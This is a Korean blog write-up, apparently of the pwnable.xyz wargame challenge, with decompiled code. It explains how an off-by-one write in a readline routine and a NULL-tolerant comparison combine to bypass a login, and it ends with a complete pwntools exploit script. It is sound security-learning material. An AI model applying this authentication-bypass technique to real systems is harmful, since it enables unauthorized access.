약간의 게싱이 필요한 듯 하다.
read(0, buf, nbytes);
buf[(signed int)(strlen(buf) - 1)] = 0;
|
한 줄을 입력받는 readline 함수는 위와 같이 생겼다.
마지막에 \n이 들어오는 것을 가정해서 만든 것인데, 입력을 fgets가 아닌 read로 받는다는 점에서 문제가 발생한다. 만약 buf의 첫 번째 글자가 NULL이라면 strlen(buf); 는 0이 되고, 해당 문장은 buf[-1] = 0; 이 되므로 OOB write를 할 수 있는 버그가 생기게 된다.
printf("Password: ");
readline(password, 0x20);
a3 = 0LL;
ptr = b64decode(flag, 0x20uLL, &a3);
if ( b64cmp(ptr, password) )
{
printf("Invalid password.");
}
else
{
creds = 1;
printf("Welcome user id: %d\n", (unsigned __int8)id);
}
free(ptr);
|
readline의 버그를 이용하여 password[-1], 즉 flag[0x1F] 에 NULL을 쓸 수 있다.
여기에 코드 전체를 올리진 않겠지만, b64decode 함수를 살펴보면 실패할 때 NULL을 리턴하는 것을 볼 수 있다. readline의 버그로 인해 flag[0x1F] 에 NULL을 쓰면, flag가 잘못된 형식을 갖고 있기 때문에 BASE64 디코딩이 실패하고 따라서 ptr는 NULL이 된다.
int __fastcall b64cmp(const char *str1, const char *str2)
{
int i; // [rsp+14h] [rbp-Ch]
int len; // [rsp+18h] [rbp-8h]
if ( str1 && str2 )
{
len = strlen(str1);
if ( len != (unsigned int)strlen(str2) )
return 1;
for ( i = 0; i < len; ++i )
{
if ( str1[i] != str2[i] )
return 1;
}
}
return 0;
}
|
이어서 b64cmp에서도 버그가 발생한다. 첫 번째 비교문에서 str1과 str2가 모두 NULL이 아닐 때만 비교를 수행하고, 만약 하나라도 NULL이라면 바로 0을 리턴한다. ptr가 NULL이라면 b64cmp(ptr, password) 역시 바로 0이 되기 때문에 creds 값을 1로 만들어 줄 수 있다.
이 시나리오는 flag가 32글자라는 가정 하에 가능하다. 문제를 풀 때 분명히 readline, b64cmp 의 로직 버그를 써먹어야 하는 것 같은데 로컬에서 익스가 작동을 안 해서 시간을 꽤 날려먹었다..
creds를 1로 만들어 주면 메뉴 2번의 비밀번호를 바꾸는 작업을 수행할 수 있다.
if ( creds == 1 )
{
memset(flag, 0, 0x20uLL);
puts("New password: ");
readline(flag, 0x20);
}
else
{
puts("Not logged in.");
}
|
readline으로 flag에 0x20 크기의 문자열을 쓸 수 있다. 마찬가지로 readline의 버그 때문에 flag[-1], 즉 id를 0으로 만드는 게 가능해진다.
id가 0이 된 후에는 4번 메뉴로 플래그를 다시 불러온 뒤 3번 메뉴로 출력하면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30026) else : p = process('./challenge') def Login(password:bytes) : p.writelineafter(b'> ', b'1') p.writeafter(b': ', password) def ChangePassword(password:bytes) : p.writelineafter(b'> ', b'2') p.writeafter(b': ', password) def PrintPassword() : p.writelineafter(b'> ', b'3') def RestorePassword() : p.writelineafter(b'> ', b'4') def exploit() : p.writelineafter(b': ', b'1') Login(b'\x00') ChangePassword(b'\x00') RestorePassword() PrintPassword() p.interactive() if __name__ == '__main__' : exploit() |
플래그를 BASE64 인코딩하면 32글자가 되는 것을 확인할 수 있다.
Last update: 4/10/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / executioner v2 (0) | 2020.04.10 |
---|---|
pwnable.xyz / badayum (0) | 2020.04.10 |
pwnable.xyz / executioner (0) | 2020.04.09 |
pwnable.xyz / Punch it (0) | 2020.04.09 |
pwnable.xyz / catalog (0) | 2020.04.08 |